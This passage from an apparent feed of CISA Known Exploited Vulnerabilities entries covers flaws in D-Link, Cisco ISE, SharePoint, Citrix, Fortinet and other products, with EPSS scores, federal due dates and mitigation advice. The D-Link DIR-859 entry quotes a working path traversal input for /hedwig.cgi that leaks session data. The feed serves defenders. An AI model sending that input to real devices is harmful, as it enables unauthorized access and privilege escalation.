score: https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25 CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DNR-322L Download of Code Without Integrity Check Vulnerability https://kevwire.com/record/CVE-2022-40799 D-Link DNR-322L Download of Code Without Integrity Check Vulnerability (Aug 5, 2025). D-Link DNR-322L contains a download of code without integrity check vulnerability that could allow an authenticated attacker to execute OS level commands on the device. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 33.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25). Sources: CISA KEV entry CVE-2022-40799: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25 CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PaperCut NG/MF Cross-Site Request Forgery (CSRF) Vulnerability https://kevwire.com/record/CVE-2023-2533 PaperCut NG/MF Cross-Site Request Forgery (CSRF) Vulnerability (Jul 28, 2025). PaperCut NG/MF contains a cross-site request forgery (CSRF) vulnerability, which, under specific conditions, could potentially enable an attacker to alter security settings or execute arbitrary code. EPSS 28.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25). Sources: CISA KEV entry CVE-2023-2533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25 CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Identity Services Engine Injection Vulnerability https://kevwire.com/record/CVE-2025-20337 Cisco Identity Services Engine Injection Vulnerability (Jul 28, 2025). Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device. EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20337: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25 CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Identity Services Engine Injection Vulnerability https://kevwire.com/record/CVE-2025-20281 Cisco Identity Services Engine Injection Vulnerability (Jul 28, 2025). Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device. EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25 CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability https://kevwire.com/record/CVE-2025-2775 SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability (Jul 22, 2025). SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives. EPSS 42.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability https://kevwire.com/record/CVE-2025-2776 SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability (Jul 22, 2025). SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives. EPSS 64.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2776: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium ANGLE and GPU Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2025-6558 Google Chromium ANGLE and GPU Improper Input Validation Vulnerability (Jul 22, 2025). Google Chromium contains an improper input validation vulnerability in ANGLE and GPU. This vulnerability could allow a remote attacker to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CrushFTP Unprotected Alternate Channel Vulnerability https://kevwire.com/record/CVE-2025-54309 CrushFTP Unprotected Alternate Channel Vulnerability (Jul 22, 2025). CrushFTP contains an unprotected alternate channel vulnerability. When the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS. EPSS 93.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Code Injection Vulnerability https://kevwire.com/record/CVE-2025-49704 Microsoft SharePoint Code Injection Vulnerability (Jul 22, 2025). Microsoft SharePoint contains a code injection vulnerability that could allow an authorized attacker to execute code over a network. This vulnerability could be chained with CVE-2025-49706. CVE-2025-53770 is a patch bypass for CVE-2025-49704, and the updates for CVE-2025-53770 include more robust protection than those for CVE-2025-49704. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25). Sources: CISA KEV entry CVE-2025-49704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SharePoint Improper Authentication Vulnerability https://kevwire.com/record/CVE-2025-49706 Microsoft SharePoint Improper Authentication Vulnerability (Jul 22, 2025). Microsoft SharePoint contains an improper authentication vulnerability that allows an authorized attacker to perform spoofing over a network. Successfully exploitation could allow an attacker to view sensitive information and make some changes to disclosed information. This vulnerability could be chained with CVE-2025-49704. CVE-2025-53771 is a patch bypass for CVE-2025-49706, and the updates for CVE-2025-53771 include more robust protection than those for CVE-2025-49706. EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25). Sources: CISA KEV entry CVE-2025-49706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25 CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 22, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiWeb SQL Injection Vulnerability https://kevwire.com/record/CVE-2025-25257 Fortinet FortiWeb SQL Injection Vulnerability (Jul 18, 2025). Fortinet FortiWeb contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25). Sources: CISA KEV entry CVE-2025-25257: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25 CISA added this entry on 2025-07-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 18, 2025; federal due date Aug 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability https://kevwire.com/record/CVE-2025-47812 Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability (Jul 14, 2025). Wing FTP Server contains an improper neutralization of null byte or NUL character vulnerability that can allow injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). EPSS 93.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25). Sources: CISA KEV entry CVE-2025-47812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25 CISA added this entry on 2025-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 14, 2025; federal due date Aug 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability https://kevwire.com/record/CVE-2025-5777 Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability (Jul 10, 2025). Citrix NetScaler ADC and Gateway contain an out-of-bounds read vulnerability due to insufficient input validation. This vulnerability can lead to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25). Sources: CISA KEV entry CVE-2025-5777: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25 CISA added this entry on 2025-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 10, 2025; federal due date Jul 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2019-9621 Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability (Jul 7, 2025). Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery (SSRF) vulnerability via the ProxyServlet component. EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25). Sources: CISA KEV entry CVE-2019-9621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25 CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Rails Ruby on Rails Path Traversal Vulnerability https://kevwire.com/record/CVE-2019-5418 Rails Ruby on Rails Path Traversal Vulnerability (Jul 7, 2025). Rails Ruby on Rails contains a path traversal vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25). Sources: CISA KEV entry CVE-2019-5418: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25 CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PHPMailer Command Injection Vulnerability https://kevwire.com/record/CVE-2016-10033 PHPMailer Command Injection Vulnerability (Jul 7, 2025). PHPMailer contains a command injection vulnerability because it fails to sanitize user-supplied input. Specifically, this issue affects the 'mail()' function of 'class.phpmailer.php' script. An attacker can exploit this issue to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25). Sources: CISA KEV entry CVE-2016-10033: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25 CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Multi-Router Looking Glass (MRLG) Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2014-3931 Multi-Router Looking Glass (MRLG) Buffer Overflow Vulnerability (Jul 7, 2025). Multi-Router Looking Glass (MRLG) contains a buffer overflow vulnerability that could allow remote attackers to cause an arbitrary memory write and memory corruption. EPSS 29.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25). Sources: CISA KEV entry CVE-2014-3931: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3931&date=2026-10-25 CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2025-6554 Google Chromium V8 Type Confusion Vulnerability (Jul 2, 2025). Google Chromium V8 contains a type confusion vulnerability that could allow a remote attacker to perform arbitrary read/write via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 14.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6554: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6554&date=2026-10-25 CISA added this entry on 2025-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 2, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TeleMessage TM SGNL Exposure of Core Dump File to an Unauthorized Control Sphere Vulnerability https://kevwire.com/record/CVE-2025-48928 TeleMessage TM SGNL Exposure of Core Dump File to an Unauthorized Control Sphere Vulnerability (Jul 1, 2025). TeleMessage TM SGNL contains an exposure of core dump file to an unauthorized control sphere Vulnerability. This vulnerability is based on a JSP application in which the heap content is roughly equivalent to a "core dump" in which a password previously sent over HTTP would be included in this dump. EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25 CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 1, 2025; federal due date Jul 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TeleMessage TM SGNL Initialization of a Resource with an Insecure Default Vulnerability https://kevwire.com/record/CVE-2025-48927 TeleMessage TM SGNL Initialization of a Resource with an Insecure Default Vulnerability (Jul 1, 2025). TeleMessage TM SGNL contains an initialization of a resource with an insecure default vulnerability. This vulnerability relies on how the Spring Boot Actuator is configured with an exposed heap dump endpoint at a /heapdump URI. EPSS 11.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48927: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25 CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jul 1, 2025; federal due date Jul 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler ADC and Gateway Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-6543 Citrix NetScaler ADC and Gateway Buffer Overflow Vulnerability (Jun 30, 2025). Citrix NetScaler ADC and Gateway contain a buffer overflow vulnerability leading to unintended control flow and Denial of Service. NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server. EPSS 10.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25 CISA added this entry on 2025-06-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 30, 2025; federal due date Jul 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiOS Use of Hard-Coded Credentials Vulnerability https://kevwire.com/record/CVE-2019-6693 Fortinet FortiOS Use of Hard-Coded Credentials Vulnerability (Jun 25, 2025). Fortinet FortiOS contains a use of hard-coded credentials vulnerability that could allow an attacker to cipher sensitive data in FortiOS configuration backup file via knowledge of the hard-coded key. EPSS 6.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25). Sources: CISA KEV entry CVE-2019-6693: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25 CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jun 25, 2025; federal due date Jul 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-859 Router Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-0769 D-Link DIR-859 Router Path Traversal Vulnerability (Jun 25, 2025). D-Link DIR-859 routers contain a path traversal vulnerability in the file /hedwig.cgi of the component HTTP POST Request Handler. Manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml allows for the leakage of session data potentially enabling privilege escalation and unauthorized control of the device. This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions. EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25). Sources: CISA KEV entry CVE-2024-0769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: 